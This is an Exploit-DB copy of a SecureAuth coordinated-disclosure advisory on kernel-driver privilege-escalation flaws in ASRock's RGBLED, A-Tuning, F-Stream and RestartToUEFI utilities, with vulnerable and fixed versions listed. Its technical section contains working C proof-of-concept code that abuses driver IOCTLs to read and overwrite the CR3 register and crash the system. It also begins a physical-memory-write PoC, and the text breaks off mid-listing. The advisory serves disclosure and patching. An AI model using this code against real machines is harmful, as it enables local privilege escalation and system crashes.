Exploit-DB #45716
Description: ASRock Drivers - Privilege Escalation
Type: dos
Platform: windows
Date: 2018-10-29
Author: SecureAuth

Exploit:
SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/

ASRock Drivers Elevation of Privilege Vulnerabilities

1. *Advisory Information*

Title: ASRock Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2018-0005
Advisory URL: https://www.secureauth.com/labs/advisories/asrock-drivers-elevation-privilege-vulnerabilities
Date published: 2018-10-25
Date of last update: 2018-10-25
Vendors contacted: ASRock
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed
IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with
Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient
Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-10709, CVE-2018-10710, CVE-2018-10711, CVE-2018-10712

3. *Vulnerability Description*

ASRock's website states that [1]:

ASRock Inc. is established in 2002, specialized in the field of
motherboards. With the 3C design concept, Creativity, Consideration,
Cost-effectiveness, the company explores the limit of motherboards
manufacturing while paying attention on the eco issue at the same
time, developing products with the consideration of eco-friendly
concept. ASRock has been growing fast and become world third largest
motherboard brand with headquarter in Taipei, Taiwan and branches in
Europe and the USA.

ASRock offers several utilities designed to give the user with an ASRock
motherboard more control over certain settings and functions.
These utilities include various features like the RGB LED control,
hardware monitor, fan controls, and overclocking/voltage options.

Multiple vulnerabilities were found in AsrDrv101.sys and AsrDrv102.sys
low level drivers, installed by ASRock RGBLED and other ASRock branded
utilities, which could allow a local attacker to elevate privileges.

4. *Vulnerable Packages*

   . ASRock RGBLED before v1.0.35.1
   . A-Tuning before v3.0.210
   . F-Stream before v3.0.210
   . RestartToUEFI before v1.0.6.2

5. *Vendor Information, Solutions and Workarounds*

ASRock published the following fixed applications for each of its
motherboards models:

   . ASRock RGBLED v1.0.36
   . A-Tuning v3.0.216
   . F-Stream v3.0.216
   . RestartToUEFI v1.0.7

Downloads are available on the ASRock website.

6. *Credits*

These vulnerabilities were discovered and researched by Diego Juarez.
The publication of this advisory was coordinated by Leandro Cuozzo
from SecureAuth Advisories Team.

7. *Technical Description / Proof of Concept Code*

ASRock's RBGLED, A-Tuning, F-Stream, RestartToUEFI, and possibly others,
use a low level driver to program and query the status on embedded ICs
on their hardware. Fan curves, clock frequencies, LED colors, thermal
performance, and other user customizable properties and monitoring
functionality are exposed to applications through this low level kernel
driver.

The main subjects of this advisory are the device drivers
installed/loaded by these utilities (AsrDrv101.sys and ArsDrv102.sys).
>From now on addressed as "AsrDrv". Default installation allows
non-privileged user processes (even running at LOW INTEGRITY) to get a
HANDLE and issue IOCTL codes to the driver.

The following sections describe the problems found.

7.1. *CR register access*

[CVE-2018-10709]

AsrDrv exposes functionality to read and write CR register values. This
could be leveraged in a number of ways to ultimately run code with
elevated privileges.

/-----
// Asrock RGBLED PoC demonstrating non-privileged access to CR registers

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_READCR 0x22286C
#define IOCTL_ASROCK_WRITECR 0x222870

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_CR_STRUCT {
    ULONG64 reg;
    ULONG64 value;
} ASROCK_CR_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
    ULONG64 outbuffer[2] = { 0 };    \
    DWORD returned = 0;    \
    DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);    \
    return outbuffer[1];    \

ULONG64 ASROCK_ReadCR(DWORD reg)
{
    ASROCK_CR_STRUCT  inbuffer = { 3, 0};
    IOCTLMACRO(IOCTL_ASROCK_READCR, 10)
}

ULONG64 ASROCK_WriteCR(DWORD reg, ULONG64 value)
{
    ASROCK_CR_STRUCT  inbuffer = { reg, value};
    IOCTLMACRO(IOCTL_ASROCK_WRITECR, 10)
}

BOOL InitDriver()
{
    char szDeviceName[] = "\\\\.\\AsrDrv101";
    ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (ghDriver == INVALID_HANDLE_VALUE) {
        printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
        return FALSE;
    }
    return TRUE;
}

int main(int argc, char* argv[])
{
    printf("Asrock RGBLED PoC (CR access) - pnx!/CORE\n");

    if (!InitDriver()) {
        printf("InitDriver failed! - aborting...\n");
        exit(0);
    }

    ULONG64 a = ASROCK_ReadCR(3);
    printf("CR3 (PageDir): %llx\n", a);
    printf("press ENTER for instant system CRASH\n");
    getchar();

    a = ASROCK_WriteCR(3, 0xffff1111ffff2222);

    CloseHandle(ghDriver);
}
-----/

7.2. *Arbitrary physical memory read/write*

[CVE-2018-10710]

AsrDrv's IOCTL code 0x22280C exposes a functionality to read and write
arbitrary physical memory, this could be leveraged by a local attacker
to elevate privileges.

Proof of Concept:

/-----
// Asrock RGBLED PoC (arbitrary physical memory write)
// This PoC demonstrates arbitrary write to physical memory.

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_WRITEPH 0x22280C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_PH_STRUCT